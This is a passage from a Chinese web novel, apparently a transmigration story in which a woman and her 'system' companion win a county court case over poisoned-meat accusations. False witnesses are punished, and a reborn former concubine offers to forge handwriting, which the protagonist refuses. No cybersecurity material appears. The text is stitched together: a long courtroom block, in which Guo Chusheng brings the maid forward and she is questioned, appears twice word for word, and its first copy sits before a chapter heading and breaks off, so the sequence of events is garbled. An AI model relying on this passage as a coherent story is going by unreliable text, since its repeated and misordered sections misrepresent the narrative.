郭亚男虽然生气她娘不认她冷血无情,也恼怒她娘不明白她为她爹纳妾生子,是想让她娘日后有依靠的好意。
可如今涉及到人命官司,那毕竟是她的亲娘,是她的娘家,她怎么能不担心呢?
担心过后,郭亚男心里竟生出了一丝解气之感,她立刻将这上不得台面的心思强行压下,去见韩夫人。
郭亚男小心翼翼向韩夫人提出,她想去张家看看,本以为会惹得韩夫人大怒。
没想到韩夫人不仅没有丝毫责难,还命下人取了不少好东西让她带去张家。
郭亚男面颊滚烫,连连推辞。
韩夫人拉着她的手,柔声细语道:“你家出了这么大的事,你娘心里肯定不好受,你去了一定要尽尽为人女的孝道,好好跟你娘说说话。你娘见了你想必会十分欣慰,之前再大的气也该消了。这些东西不是给你的,是给你娘的。你要是不要,我可是要生气的。”
“多谢夫人,”郭亚男这才收下,满心感激地走了。
令她没想到是婆母这般善解人意、宽厚慈爱,张家却不肯仍让她进门。
气的郭亚男站在门外骂道:“我家婆母一点都不计较,你做的腊肉害了人命。好心让我带着东西来看你,你竟然连门都不让我进。你,你蛮横无礼,铁石心肠。”
她骂了半天,门内毫无动静。
“我看你连我婆母一根头发丝都比不上,以后我只有一个娘了,哼。”撂下这么一句,郭亚男气冲冲走了。
听到这话的冷小幸对张阿蛮系统道:“你和郭楚生都不算蠢,怎么生的女儿这般愚笨不堪?要不是我们已经被县太爷放回家了。韩夫人能这么好心,让她带着东西来?她连这都不明白?”
张阿蛮系统心里五味杂陈,不想提郭亚男。它顺着冷小幸的话,突发奇想道:“该不是隔代遗传吧?她这么蠢有点像高氏。”
被怀疑是愚笨之源的高氏,此刻终于后知后觉到她行为鲁莽,惹来祸事。
今早清晨,郭楚生不在田秀才家,不知道去了哪。
高氏知道郭楚生为了给张家赔钱,这几日都在为筹钱奔波,连冬节都没过好。
为此,高氏更加厌恶冷小幸,她听说张家出了人命官司,便着急忙慌来赶到县衙外看热闹,又在杨家人为了不让仵作验尸大闹县衙时,一时冲动出面作证张家腊肉有毒。
高氏当时并没有想得很明白,她只觉得自己曾是张阿蛮的婆婆,她说的话当然有可信度,就算最后查出来张家没有下毒,那又怎么样?
城中百姓总会有人宁可信其有不可信其无,张家的生意必然受到影响,她也算替儿子出了口恶气。
至于做伪证是不是犯法?会不会受到惩罚?高氏其实并不太懂,她只觉得到时候说自己老眼昏花,看错这事就算过了。
可高氏万万没想到,县太爷放走了张家人,却将她和杨家人留下,说是继续审问他们,可什么都不问,只把他们软禁在县衙的空客房。
杨老太、杨老头住一间,苗秀莲和杨小糠住一间,高氏独自住一间,也不许他们相互说话。
高氏嚷着要走,被县太爷以怕她回去串供为由,不肯放她走,还说再闹就把她关进大牢。
高氏不敢再倚老卖老,急得像热锅上的蚂蚁,她回想起郭楚生离开的背影,心中犯起嘀咕:郭楚生不会真的不管她吧?
“不会的,不会的,”高氏拼命安慰自己:“楚生是个孝顺的好孩子,不能听信张阿蛮那个小贱人的挑唆。”
高氏心中七上八下,想东想西,一夜未睡好不容易熬到天亮,又等了许久县太爷终于再次升堂。
县太爷命衙役将高氏和杨家人带去前堂,并把张家人、各店掌柜等人传唤来。
消息传开,看热闹的百姓再次聚集在县衙外,七嘴八舌说着自己对这个案子的推断。
有人说杨石柱就是被张家腊肉毒死的,也有人说是苗秀莲与人偷情叫杨石柱发现,被苗秀莲的情夫害死,还有人说是杨老头、杨老太亏心事做太多,神仙显灵报应在了杨石柱身上。
堂上的高氏只觉众人聒噪,她一个字都听不进心里,一直回头焦躁张望着县衙外的每一张脸,就是没有找到郭楚生的脸,高氏的心不由得向下沉。
县太爷一拍惊堂木,正式开始审案。
先是仵作带着帮忙验尸的徒弟上堂禀明尸检结果。
冷小幸正留神细听杨石柱死因,却张阿蛮系统突然惊呼道:“吕令仪!”
“她?在哪?”冷小幸诧异道。
张阿蛮系统快速道:“仵作身后的徒弟就是吕令仪。”
冷小幸微微侧脸,抬起眼眸打量,见那人半低着头看不清样貌,一身灰布短打,身形单薄,只能看出面皮黝黑,眉毛粗钝。
“你确定?”冷小幸怀疑道,据她所知吕令仪是个美人。
“确定,”张阿蛮系统斩钉截铁道:“她就是化成灰,我都认得。”
冷小幸疑惑道:“那她为什么会出现在这里,女扮男装做了仵作的徒弟。”
“是啊,好奇怪啊。”张阿蛮系统亦是不解。
不等一人一统想清其中关窍。
仵作已汇报完毕。
据他所说:“死者面色微青,喉间痰阻痕迹明显,胸腹略见胀满仍有残留菜肉,口中有浓烈酒气残留,以银针试毒未见异常,菜肉酒并无毒性。尸身鼻孔残有清涕痕迹,嘴唇淡白不荣,舌苔白腻可知其死前尚有风寒在表。综上其死因为风寒未愈,食饮失节,遂引发痰涌气闭、猝然暴亡。”
接着,负责查访杨石柱生前轨迹的衙役回禀调查结果:杨石柱的工友都说他近半个月以来动不动就咳嗽,总说身上发冷,还甩着大鼻涕。与杨石柱关系好的几个亲朋好友承认冬至夜他们确实一起喝了烧酒。
衙役还走访查明到杨石柱近期并未与人结仇,且与张家没有往来利益关系。
杨石柱的工友、酒友也被带来上堂作证。
最后,县衙书吏上堂说明,根
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据张家提供的文书、账本、腊肉制作记录,以及张家肉铺众人、各店掌柜、鱼户、农户的证词,相互印证可以证实张家肉铺所购买的大肉新鲜、活鸡活鸭并非病禽、鱼也都是刚打捞上的海鱼,所用调料、酒糟皆是上等。
高氏所说张家给腊肉下毒,用死肉、变质调料酒糟做腊肉,纯属无稽之谈。
县太爷当场判定杨石柱之死与张家腊肉铺无关,要求杨家给张家肉铺道歉,并赔偿张家肉铺因此产生的经济损失。
杨老太、杨老头痛哭流涕,只说:“家中无钱,要钱没有,要命一条。”
苗秀莲搂着杨小糠,卷缩在一旁,不发一言。
冷小幸对县太爷道:“大人,不如先叫杨家写下欠条,一年之内还清即可。”
县太爷同意,当场立了字据。
杨老太、杨老头见哭闹无用,无奈摁了手印。
高氏作伪证,依律当罚。
县太爷正要宣判如何处置高氏,郭楚生带着柳氏及小丫鬟在外喊道:“大人,此事另有隐情,还请大人容禀。”
在看热闹百姓异样的眼神中,县太爷命差役放郭楚生进来。
郭楚生拽着小丫鬟上堂,拱手道:“大人,家母上了年纪偏听偏信,不辨是非。张家下毒等语,是这个小丫头说给家母听,家母信以为真,才会为了伸张正义出面作证,请大人念及家母并无恶意,宽容则个。”
“郭举人,”县太爷盯着郭楚生道:“你说的这些话,可是真的吗?”
“回大人,”郭楚生恭谨道:“昨日我归家,说起家母在县衙作证,见这小丫头眼珠子乱转,我便觉有异,细细问过才知是她胡言乱语谎骗家母,这才带她来作证。”
县太爷点点头,不置可否,指着高氏道:“来人,把她带去后堂。”
郭楚生闻言,关心则乱上前两步失声道:“大人......”
“怎么?郭举人想教本官如何断案吗?”县太爷沉下脸问道。
“不敢。”郭楚生悻悻退下。
高氏被带走后,县太爷问小丫鬟道:“方才郭举人所说是真的吗?”
“是真的。”小丫鬟跪在地上道。
县太爷厉声喝问:“那你是在何时何地,如何对高氏讲的?一五一十跟本官说清楚。”
“是、是,”小丫鬟被吓得浑身一抖,结结巴巴道:“是我们被赶出来后,我在房中伺候老太太与娘子,凑趣说了几句跟张家有关的话。”
“你说了什么?一个字都不许错,快说。”县太爷冷着脸道。
“我,我说张家做的腊肉那么多人买,一定是下了让人上瘾的毒药。”小丫鬟哆哆嗦嗦道:“我,我还说她家卖的比别家便宜,一定是用了些不好的东西。”
“那你可曾亲眼见到张家肉铺有不法之为?”县太爷追问道。
小丫鬟脸色惨白道:“我没有见过,我就是这么猜的,我也没想到老太太会当真,大人,我,我,我不是故意的。”
“本官再最后你问一次,是否真的如你所说,是你告诉高氏这些话?你想清楚了再答,须知你若说谎,也是要罚的。”县太爷盯着小丫鬟道。
55.代夫纳妾求子的商户女23
杨老太、杨老头仍旧哭闹,惹得县太爷不悦道:“尔等如此冥顽不灵,扰乱公堂,目无法度,来人,大刑伺候。”
衙役凶恶上前,杨氏夫妇不敢再闹,杨老头忙不迭摁下手印。
又在县太爷的严令下,他们带着苗秀莲、杨小糠给冷小幸等人道歉。
致歉过后,便要行刑。
杨老头是杨家现存唯一的男丁,又是长者。
为首诬告、带头闹事者指的自然就是他,杖责便是要杖责他。
衙役如狼似虎般将杨老头反剪在地,预备杖责。
杨老太一面拦,一面向县太爷苦苦哀求。
县太爷不为所动。
杨老太哭骂苗秀莲道:“你是死了还是聋了?他们要打你爹,你还愣着干什么?倒是说句话呀。”
苗秀莲闻言先是看了一眼冷小幸,而后对县太爷磕头道:“大人,我爹年纪大了,经不住杖责,由我来受吧。”
“放肆,”县太爷面带寒霜道:“你们当这是什么地方?岂有讨价还价之理?”
杨老太瘫坐在地,拍着大腿哭道“哎呦喂,老天爷呀,我那苦命的儿啊,他就这么撇下我们一家子走了哇,老头子再被打伤了,可叫我们往后怎么活哟,拿啥赔给张家?拿啥给老头子抓药养伤?拿啥糊口啊?拿啥把小糠养大啊?”
苗秀莲听了这话,对县太爷咚咚磕头道:“大人,主犯是我,是我对公婆说是张家毒腊肉害死了石柱,是我让他们去张家闹事的,都是我干的,您打我吧。”
“你可知道,在本官面前说谎是要受罚的。”县太爷声色俱厉道。
“大人,您记得吗?昨天是我,”苗秀莲拍着胸脯,急切道:“是我,是我撞柱求死诬陷张家,我,我才是主谋,您罚我吧,打我吧,求求您了。”
如今这世道办案虽求公正,但有时也不必过于较真。
反正罚的是杨家人,至于具体罚哪个人,律法之下有操作空间。
县太爷见杨家几人如此,这也不算大事,便做主改为杖刑苗秀莲,但给张家赔款仍为杨老头赔付。
苗秀莲是女子,不得当众行刑。
县太爷命衙役带苗秀莲到后堂行刑,杨小糠跟着去了。
命杨老头、杨老头暂退一旁,县太爷对高氏作伪证之举做出判决。
他宣判道:“现以查明,郭高氏与死者杨石柱无亲无故,且并未与杨家人串谋,亦未害得张家肉铺众人被刑押,只因妄言张家腊肉有毒、使用的乃是死鸡、死鸭、陈年坏了的调料,系当堂作伪,按律当减二等。今从轻发落,杖十下以示警告,当堂具结悔过,再敢多言生事,必加重治罪。”
衙役正要带高氏去后堂一并受刑。
郭楚生领着柳氏及小丫鬟在外喊道:“大人,此事另有隐情,还请大人容禀。”
在看热闹百姓异样的眼神中,县太爷命差役放郭楚生进来。
郭楚生拽着小丫鬟上堂,拱手道:“大人,家母上了年纪偏听偏信,不辨是非。张家下毒等语,是这个小丫头说给家母听,家母信以为真,才会为了伸张正义出面作证,请大人念及家母并无恶意,宽容则个。”
“郭举人,”县太爷盯着郭楚生道:“你说的这些话,可是真的吗?”
“回大人,”郭楚生恭谨道:“昨日我归家,说起家母在县衙作证,见这小丫头眼珠子乱转,我便觉有异,细细问过才知是她胡言乱语谎骗家母,这才带她来作证。”
县太爷点点头,不置可否,指着高氏道:“来人,把她带去后堂。”
郭楚生闻言,关心则乱上前两步失声道:“大人......”
“怎么?郭举人想教本官如何断案吗?”县太爷沉下脸问道。
“不敢。”郭楚生悻悻退下。
高氏被带走后,县太爷问小丫鬟道:“方才郭举人所说是真的吗?”
“是真的。”小丫鬟跪在地上道。
县太爷厉声喝问:“那你是在何时何地,如何对高氏讲的?一五一十跟本官说清楚。”
“是、是,”小丫鬟被吓得浑身一抖,结结巴巴道:“是我们被赶出来后,我在房中伺候老太太与娘子,凑趣说了几句跟张家有关的话。”
“你说了什么?一个字都不许错,快说。”县太爷冷着脸道。
“我,我说张家做的腊肉那么多人买,一定是下了让人上瘾的毒药。”小丫鬟哆哆嗦嗦道:“我,我还说她家卖的比别家便宜,一定是用了些不好的东西。”
“那你可曾亲眼见到张家肉铺有不法之为?”县太爷追问道。
小丫鬟脸色惨白道:“我没有见过,我就是这么猜的,我也没想到老太太会当真,大人,我,我,我不是故意的。”
“本官再最后你问一次,是否真的如你所说,是你告诉高氏这些话?你想清楚了再答,须知你若说谎,也是要罚的。”县太爷盯着小丫鬟道。
小丫鬟舔着嘴唇道:“是,是我说的,我家娘子也在。”
“大人,当时我也在,确实是这个丫头不懂事,乱说话,不关老夫人的事。”堂外的柳氏应和道。
县太爷看了看小丫鬟又看了看柳氏,良久不言。
郭楚生拱手道:“大人,这丫鬟年纪尚幼,不知轻重,随口胡诌几句,竟让家母当了真,闹出这场乌龙,还请大人莫要见怪。”
县太爷闻言,吩咐衙役将高氏带来,询问高氏同样的话。
高氏支支吾吾回答不出。
看热闹的百姓议论纷纷。皆说这是郭楚生为救高氏找小丫鬟顶罪。
高氏听见议论,心知不能再拖,又不敢乱答叫县太爷抓到错处,灵机一动道:“大人,老身年纪大了,实在记不得细枝末节,只记得是这小丫头告诉老身的。”
“她说你便信了?”县太爷不咸不淡道。
高氏狡辩道:“大人,老身原本以为她那么小,怎么会说谎呢?当然相信她了呀。谁知竟是这丫头瞎编乱造,都是怪老身失察,请大人恕罪。”
郭楚生听到高氏如此说,几不可见吐了一口气。
冷小幸心中不屑,正要开口戳穿,却见县太爷又拍了一下惊堂木,对高氏喝道:“大胆!你昨日明明在堂上口口声声说是你亲眼所见,今日便推翻证词。难道你们以为如此便不算做伪证了吗?”
“大人,”高氏急头白脸
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道:“您别误会,是老身觉得亲耳听到与亲眼见到并无差别,才那样说的,并非刻意为之。”
冷小幸对张阿蛮系统道:“生死关头,这老太婆竟能想出如此荒谬的说辞,真是有趣。”
“你还有心情在这感叹,还不上去戳穿他们?”张阿蛮系统急道。
冷小幸看着县太爷的神色,慢悠悠道:“用不着我啦。”
“无论是你亲眼见到,还是亲耳听到,都不能改变你做伪证的事实,该怎么罚,仍旧怎么罚。”县太爷对高氏、小丫鬟郑重道:“但事到如今你们所说若还是假的,叫本官查出,则性质更为恶劣,所受刑罚轻重不同,接下来本官所问,你们可以要想清楚再回答。”
县太爷先问小丫鬟:“当真是你告诉郭高氏张家腊肉有毒,用的是死禽坏肉,变质调料?还是你受人挑唆,蒙蔽本官,还不如实招来!”
“我,我,”小丫鬟还没说出个所以然,后堂打苗秀莲板子的杖责声杂糅着苗秀莲的惨叫、杨小糠的哭泣声一同传传进前堂。
小丫鬟听了,跪也跪不直,瘫软在地,像被剪了舌头般,再也吐不出一个字。
堂外,柳氏大呼道:“大人,是我教唆她的。您有什么话就问我吧。”
没完没了的伪证风波让县太爷皱着眉,他摆手命衙役把柳氏放进来。
柳氏进堂跪地道:“大人,昨日是我听人说我家老太太作证之事,我也在张家待过,心知老太太所说是假。我想大约是她老人家一时不忿我们被张掌柜赶出来才如此说。”
“我怕老太太受罚,让我家举人老爷忧心,所以在老爷没回来前,教这小丫头说了几句谎话。”柳氏一字一句说得分明:“等老爷回来,果然说起此事甚是烦忧。这小丫头才依照我的话蒙蔽老爷。”
柳氏磕头道:“都是我的错,是我自以为是,弄出这许多事来,干扰大人断案,请大人责罚。”
“哦?真的吗?郭举人你当真全然不知?”县太爷问郭楚生道。
郭楚生脸上恰到好处展现出震惊、失望等表情,他指着柳氏道:“你怎能如此糊涂?”
“老爷,老爷,”柳氏梨花带雨道:“妾身不是有意蒙蔽您,是担心您,才一时想差了,妾身对不起您,都是妾身的错。”
郭楚生一脸痛惜之态,不再看柳氏,转头对县太爷拱手道:“大人,我,我实在是不知此事,唉,都是我治家不严之过,此女任凭大人处置。”
“郭举人,本官再你问一遍,你当真不知吗?可别一会,你们又变了证词。”县太爷强然怒火道。
“大人,我确实不知,”郭楚生一脸无奈道:“如今真真假假,我身在其中,有口难辩,只求大人明察,还我清白。”
县太爷颔首对柳氏道:“你可知你家举人老爷有功名在身,在堂上亦可不跪,即便是他教唆的你家小丫鬟,也可从轻发落。但若是你教唆,你可是得按律受刑的。”
“大人,我一人做事一人当,又岂能为了免受刑罚,叫老爷无辜受累。”柳氏磕了头道:“请大人责罚便是。只是这丫头被我哄骗,还请大人看在她年纪小不懂事,身为奴仆,只能听命于我,莫要责罚她。”
56.代夫纳妾求子的商户女24
县太爷闻言,怒不可遏道:“大胆刁妇,你当县堂是什么地方?你当本官是什么人?岂容你们一而再再而三互作伪证,肆意胡说、混淆视听?你们这般行为不端,以本官看,不动大刑,你岂肯说实话。来人,上夹板。”
“大人,”小丫鬟立刻出言阻止,慌道:“我家娘子有孕在身,不能受刑啊。”
县太爷闻言,命衙役去外面找个郎中来,暂不行刑。
冷小幸对张阿蛮系统叹道:“怪不得前世你折在郭楚生手里。瞧瞧,高氏年迈,小丫鬟年幼,柳氏有孕,按律这三人都不得用刑逼供。即便最后判决她们有罪,用刑也要酌情减缓。只要她们三个咬死这事与郭楚生无关,便可保住他的举人功名,已经算是目前对他而言最好的结果了。”
“真是便宜他了。”张阿蛮系统心知冷小幸说的对,心有不甘又庆幸道:“好在昨日你及时阻止,没有让他到堂上教高氏如何脱身。他没有办法与高氏直接交流,才想出让小丫鬟出来顶罪的法子。幸亏县太爷明察秋毫,才没让他得逞。”
“可是这样绕了一圈,他不但有一个作伪证的亲娘,还有了作伪证的妾室,这是不是偷鸡不成蚀把米吗?”张阿蛮系统幸灾乐祸道。
冷小幸并不认同张阿蛮系统的看法:“首先现在这个结果是一步一步导致的,并非郭楚生的本意。其次,这样折腾一番对郭楚生而言仍比他什么都不做要强。”
“如今作伪证一事变成了高氏心窄一时冲动,柳氏为了一己私欲教唆小丫鬟说谎救高氏。”冷小幸细细解释道:“总的来说,表面上把郭楚生摘的还算干净。这可比高氏可能是因他授意蓄意作伪证想要害死我们强多了。”
“是吗?可是当时高氏说郭楚生不知道啊,”张阿蛮系统还是没想明白。
冷小幸抿嘴笑道:“高氏说他不知道,他就真不知道吗?众口铄金,积毁销骨,郭楚生不会不明白这个道理。即便最后证实郭楚生不知此事,他亲娘所为岂能与他脱开关系?他的名声定然再坏一层的。”
“那现在除了他娘,他的妾室、丫鬟可都牵扯其中,岂不是情况更糟?”张阿蛮系统问道。
冷小幸看着跟在衙役身后匆忙进门向县太爷行礼的郎中,施施然道:“那就要看郭大举人愿不愿意下血本了。”
郎中为柳氏诊脉后,确认她已怀孕。
果如冷小幸所料,高氏、柳氏、小丫鬟皆将责任揽在自己身上,口声声说她们认罚,但凭县太爷处置。
没有证据,县太爷也不能将郭楚生定为幕后主使,他判定高氏、柳氏、小丫鬟三人接连作伪证,扰乱公堂,性质恶劣,各打十板子,并处罚金二百文,限十日之内交官府。
高氏作伪证诬陷张家,两罪并罚,合计二十板,并赔付张家一百五十文,限期一月。
柳氏有孕,暂且记下,待她生产后再行刑。
高氏与小丫鬟,即刻行刑。
“且慢。”郭楚生伸手拦住衙役道。
县太爷不悦道:“郭举人还有什么话说?”
“大人,”郭楚生一脸正气道:“我并非要阻挠刑罚,只是郭高氏是我母亲,我身为人子,不能眼睁睁看她受刑,无动于衷。柳氏、小丫鬟犯错,皆因我齐家无方,我愿替她们三人受罚,还请大人允许。”
“荒唐,”县太爷不满道:“你已中举,晋升为士,并非平民,岂能罔顾法度,陷本官于不义?”
“大人,我的提议虽然无法可依,但情理可原,我愿多受杖责,只求大人怜我一片孝心,成全于我。”郭楚生言辞恳切道。
此言一出,堂外哗然。
有个书生打扮的中年人道:“这事跟郭举人有什么关系?都是那帮娘们头发长见识短惹出来的,郭举人不容易啊。”
“就是,就是,那老太太一时糊涂,郭举人又不能一天到晚看住她娘别犯傻。唉,至于那小妾,为讨主君欢心,什么事干不出来?可怜郭举人为救她们,折了脸面不说,竟还要挨板子。”立刻有人附和书生。
还有人道:“要我说,郭举人就是人太好太孝顺了,才会如此。”
“哎,对了,你们记不记得十几年前,郭举人高中解元时,那个不要脸的郑夫子到郭家大闹,说郭举人剽窃了他的策文,还要郭举人去官府自请罢除功名呢。”
“记得,记得,当时郭举人念着郑夫子给他几口饭吃的恩情,竟答应了。要不是郭高氏及时发现,抢下还没被烧完的书稿,郭举人早就没有功名了。”
在众人你一言我一语的追忆中,郭楚生竟摇身一变,又成了孝悌君子。
冷小幸对张阿蛮系统道:“喏,见识了吧?”
“这些人怎么这样,”张阿蛮系统骂道:“墙头草,随风倒。”
不但张阿蛮系统因此大为恼怒,冷小幸察觉到吕令仪几乎也在强忍怒气。
冷小幸见吕令仪双手紧紧握拳,咬紧牙关,脖颈青筋暴起。
她不由有些好奇:吕令仪为什么会如此愤怒?在这一世,她与郭楚生等人并无交集啊。
没等冷小幸想出个所以然来,张家腊肉铺忠实的食客,那位大肚子汉嚷嚷道:“你们这些人怎么回事?这姓郭的又成好人了?你们忘了前段时间,姓郭的和张掌柜在这打官司?”
“姓郭的是怎么违背婚约,舔着脸用亲女儿的嫁妆给自己置外室。怎么和他娘在张家作威作福的?这才几天你们都忘了?姓郭的算什么好东西,我呸。”大肚子汉满脸不屑道。
方才出言称赞郭楚生的百姓,有人反应过来,自觉面上讪讪,也有人叫板大肚子汉道:“你懂什么?赘婿哪里是好当的?人家两口子到底怎么回事,哪里说得清。”
“哼,以郭举人的品行相貌当年入赘张家,那是张家祖坟冒青烟。”
“可不是,都怪张家婆娘自己不下蛋,还不赶紧给郭举人张罗几房妾室,生几个大胖小子延续她张家香火。我看她那个改了姓的女儿倒比她这做娘的明理的多。”
“就是,就是,郭举人赘给张家那女屠夫,受了多大委屈。呵,她竟然休了郭举人不算,还见钱眼开的贼婆娘竟敢让郭举人赔钱。”说话者义愤填膺道:“要不是有郭举人
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的面子在,她家生意能那么好?要我说分明是这女屠夫忘恩负义。”
大肚子汉立刻维护道:“哎,你说这话我可不认啊。张掌柜把那姓郭的休了后,她家的腊肉明明是卖得更好了,我好几次排了半天队都没买到。”
“你们真的不知道?”大肚子汉环视四周道:“哦,我明白了,你们买不起张家腊肉,才在这说酸话,埋汰张掌柜。”
堂外的百姓们吵成一锅粥。
张阿蛮系统听了倒是消了气,它忧心忡忡对冷小幸道:“县太爷不会同意郭楚生替她们受罚了吧?可又不能打郭楚生板子,难道最后她们啥事没有?这次就不了了之?”
“放心,不会的。我觉得这次郭楚生只顾着名声,倒是走了一步臭棋。”冷小幸断言道。
县太爷拍着惊堂木,大声喝道:“肃静,肃静!”
堂外的百姓闻声,不敢再吵。
县太爷对郭楚生道:“你说的也有几分道理。法不外乎人情,你既自愿代她们受罚,本官可以成全你。不过,你既为举人,不可受杖刑,依律可纳钱赎罪。本官就判你三倍罚金六百文交官府,三倍赔付张家四百五十文。你可有异议?”
“大人公正无私,我并无异议。”郭举人敛衽一礼道。
县太爷颔首道:“好,本官等着你筹钱来。”
诸事已毕,县太爷宣布退堂。
众人四散,张家腊肉铺重新开张。
冷小幸站在张家院内的树下,遥望着天际,对张阿蛮系统道:“今日刚刚审案结束,不易去见吕令仪,她毕竟参与验尸,叫人看见恐节外生枝。等过几日,这案子淡了,我去见见她。”
“好,”张阿蛮系统虽然着急,但她也是这么想,好不容易了结此事,可不能再生出风波。
冷小幸与厨娘做了一顿丰盛的家常菜,叫张铁妞请来张厚山等张家族人共吃晚饭。
张厚山等人笑呵呵道:“没事便好,都是自家人,不必这样客气。”
“终于平安无事了,”冷小幸举着酒碗,咧嘴笑道:“这几日叫大家伙担心啦,来,今晚就我们好好庆祝一番,喝酒,喝酒。”
张厚山等人起身与冷小幸碰过酒碗,皆一饮而尽,也不矫情,大口吃肉,大碗喝酒,其乐融融。
宾主尽欢酒足饭饱后,离宵禁还有段时间,冷小幸将张厚山等人送到大门外。
张家族人纷纷离去,街角处缓缓走来一个女子,她对尚未进门的冷小幸含笑道:“张掌柜,我这有一宗大买卖,不知可否进门详谈?”
“姑娘请,”冷小幸热络地请那女子进门,将人引进后院,路过厨房,她把灶台上煨着的茶壶拎走,又告诉丫鬟等人各自去歇,不必跟着。
将那女子迎进书房,亲自一倒了一碗茶,路过厨房,递给到那女子手中道:“尝尝,灯芯枣仁茶,安神的。”
“果然跟从前一样好喝,我真是好久没喝到了。”那女子饮了口茶,叹道。
“哦?”冷小幸也喝了一口茶道:“姑娘也是屠夫家出身吗?这茶别的人家可不多见。”
57.代夫纳妾求子的商户女25
“姐姐不认得我了吗?我是吕令仪呀。”那女子拿着茶碗的手一顿,随即巧笑巧言道。
冷小幸不清楚吕令仪的目的,她掀起眼皮,细细打量吕令仪一番道:“姑娘相貌这般出众,我若是见过,定然会有印象,现下却不记得,不知姑娘是不是认错了人?”
吕令仪放下茶碗起身,在冷小幸身前半蹲下,仰着头低声道:“姐姐,你是否与我一样得到上天庇佑,有了重来一次的机会?”
冷小幸尚未答话。
张阿蛮系统炸毛道:“她什么意思?她也有另一个你?”
冷小幸琢磨着吕令仪的话,微微俯身双眼望进吕令仪的双眸,似乎要看到她灵魂深处。
吕令仪被蛊惑般,不闪不躲。
半晌,冷小幸对张阿蛮系统道:“不是,她大概是重生了。”
“重生?”张阿蛮系统自言自语道。
“妹妹竟有这样的奇遇,”冷小幸对吕令仪既不承认也不否认道:“那么上一世妹妹究竟是怎么死的?”
吕令仪瞳孔一缩,抖着嘴唇道:“我,我是被郭楚生那个畜生活活勒死的。”
“什么?”冷小幸语气诧异,问道:“他为什么要这么做?”
“当时我也不明白,重生归来我反复思量,猜测大约是与姐姐的死有关。”吕令仪真诚道。
冷小幸右手捧起吕令仪面庞,观察她的神色道“哦?这话从何说起?”
“我猜姐姐的死,跟郭楚生脱不了关系。”吕令仪任由冷小幸作为并不反抗,她解释道:“那时叔老爷和小姐一致要找出杀死姐姐凶手,郭楚生就是在那时突然勒死我,我猜事后他一定伪造成我畏罪自尽,把我推出去做了他的替死鬼。”
冷小幸见吕令仪不似作伪,便放开了手直起身道:“妹妹来见我,又是为了什么呢?我与郭楚生已无瓜葛。”
“姐姐,你难道不想杀了他报仇雪恨吗?”吕令仪急切道。
“报仇?呵,所谓上一世种种皆是你的一面之词。”冷小幸淡漠道:“我可不记得。”
吕令仪表白道:“姐姐,你不要误会。我并没有借你的手之意。我只是想来告诉姐姐,如果你利用县太爷对郭楚生的不满,在郭楚生还不上钱后,趁机罢除他的功名,是不可行的。”
说完,吕令仪抬眼看冷小幸。
却见冷小幸不感兴趣般,捏着拨灯棍向上挑着灯芯,不接话。
吕令仪只好自个接下去道:“其一,郭楚生毕竟有举人功名,想要在他身上投资的有钱人总还是有几个,或许会帮他还清债务。”
冷小幸还是不说话。
“其二,即便郭楚生真的还不上钱,虽然依律可以重罚罢黜其功名,但县太爷大概率不会这么做。何况革去举人功名,并非县太爷一人可做主,还需上报学政,层层审批。”
放下挑灯棍,冷小幸端起茶碗饮茶不语。
吕令仪等了等,见冷小幸始终一言不发,急道“姐姐。”
“吕姑娘若是有话,不妨一次性说完。”冷小幸嘴角含笑道。
“姐姐,要想对付郭楚生,必须要让他失去举人功名。我读过些书,从上一世我与郭楚生的交流来看,我觉得那篇让他高中解元的策文,并非出自他手,可惜我没有证据。”吕令仪意味深长道:“我听说郭楚生被姐姐休弃时没有带走他的习作,或许可以从中找出他科考舞弊的证据。”
冷小幸闻言,对着吕令仪意味不明笑了一下。
吕令仪赶忙道:“姐姐若是信得过我,我可以找出这份证据。”
“哦?你打算怎么找?”冷小幸挑眉道。
吕令仪压低声音道:“不瞒姐姐,我可模仿他人字迹,以假乱真。”
冷小幸闭上眼,长叹一声,失望之色不加掩饰。
还蹲在地上的吕令仪不明所以道:“姐姐?”
冷小幸睁开眼低头问道:“你重生后,都经历了些什么,才成为能够上堂作证的仵作学徒?”
“我,”吕令仪刚张嘴说了一个字。
冷小幸已右掌虚捂在她的嘴上道:“你不必说于我听,只需自己好好想想,这条路你女扮男装吃了多少苦头才走到今天?郭楚生,他算个什么东西!不值得你弄脏自己的手。”
吕令仪闻言,热泪盈眶。
冷小幸收回手道:“真的便是真的,假的便是假的。那篇策文若真并非郭楚生所作,一定会留下痕迹。你放心,我会找出来的。”
“可是,可是,”吕令仪涩声道:“当时那些官吏们都没有找出来。过去这么多年,姐姐又如何能找出证据?”
“当年官吏们没找出来证据,有可能是因为那篇策文真的出自郭楚生之手。要知道,一个人的品行有时并不与他的学识成正比。”
冷小幸不急不躁道:“还有一种可能,当时郑夫子当场中风,未能与郭楚生对质,更没有提交其它证据,也许有些证据就这样被错过了。”
“总之,有证据的话,我一定会找出来。没有的话,我们也不能作假。”冷小幸摆手制止吕令仪开口,她继续道:“以郭楚生的为人,要想对付他,还有许多其它法子。你不能在报复他这条路上变成了他,明白吗?”
吕令仪将头靠在冷小幸膝头泣道:“前世承蒙姐姐多加照顾,今世又是姐姐救我。”
“是你自己救了你自己。”冷小幸温柔道。
吕令仪茫然不解。
冷小幸摸着她的秀发道:“方才你若只引诱我伪造证据,自己却撇开关系,那我便不会轻饶了你。”
“姐姐,我怎么会那样做?”吕令仪脱口而出,抬头道。
冷小幸笑着,将吕令仪扶起道:“所以是你救了自己。”
两人将话说到这个份上,可谓冰释前嫌,又说了几句贴己话,眼看宵禁时间快到了,吕令仪起身告辞,走前她捏着衣角道:“姐姐,以后我还能来看你吗?”
“当然可以,”冷小幸满脸笑意道:“以后这里还是你的家。”
吕令仪郑重行了一礼道:“多谢姐姐厚爱。”
冷小幸将吕令仪送到大门口,目送她离开,直到看不见她的身影,才转身回房。
路上,冷小幸对张阿蛮系统道:“吕令仪对你竟有几份孺慕之情,可见你前世对她极好。”
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“前世我也没做什么,”张阿蛮系统不好意思道:“哎,她不过比,比,比郭亚男大几岁而已。我也不知怎么当正房,就学着别人家给她立规矩,是她乖巧懂事,我才疼她的。”
冷小幸闻言失笑道:“你真是嘴硬心软。怪不得我刚来时,你那般激愤,那时你以为你是被郭楚生、吕令仪联手害死,遭至亲杀害,一时承受不住也是有的。”
“说到这,是我不如令仪。”张阿蛮系统羞愧道。
冷小幸不解道:“这话从何而来?”
“我那时满腔怒火,只想把这些人通通杀了。”张阿蛮系统解释道:“可同样是被至亲害死,令仪她却那样冷静,步步为营,没有被愤怒冲昏头脑。我想假如没有你,我恐怕早已与郭楚生同归于尽,根本不可能像现在这样不但休弃了他,还重整家业。”
“你有你的长处,她有她的短处。一样米百样人,无谓做这些比较。”冷小幸安慰道。
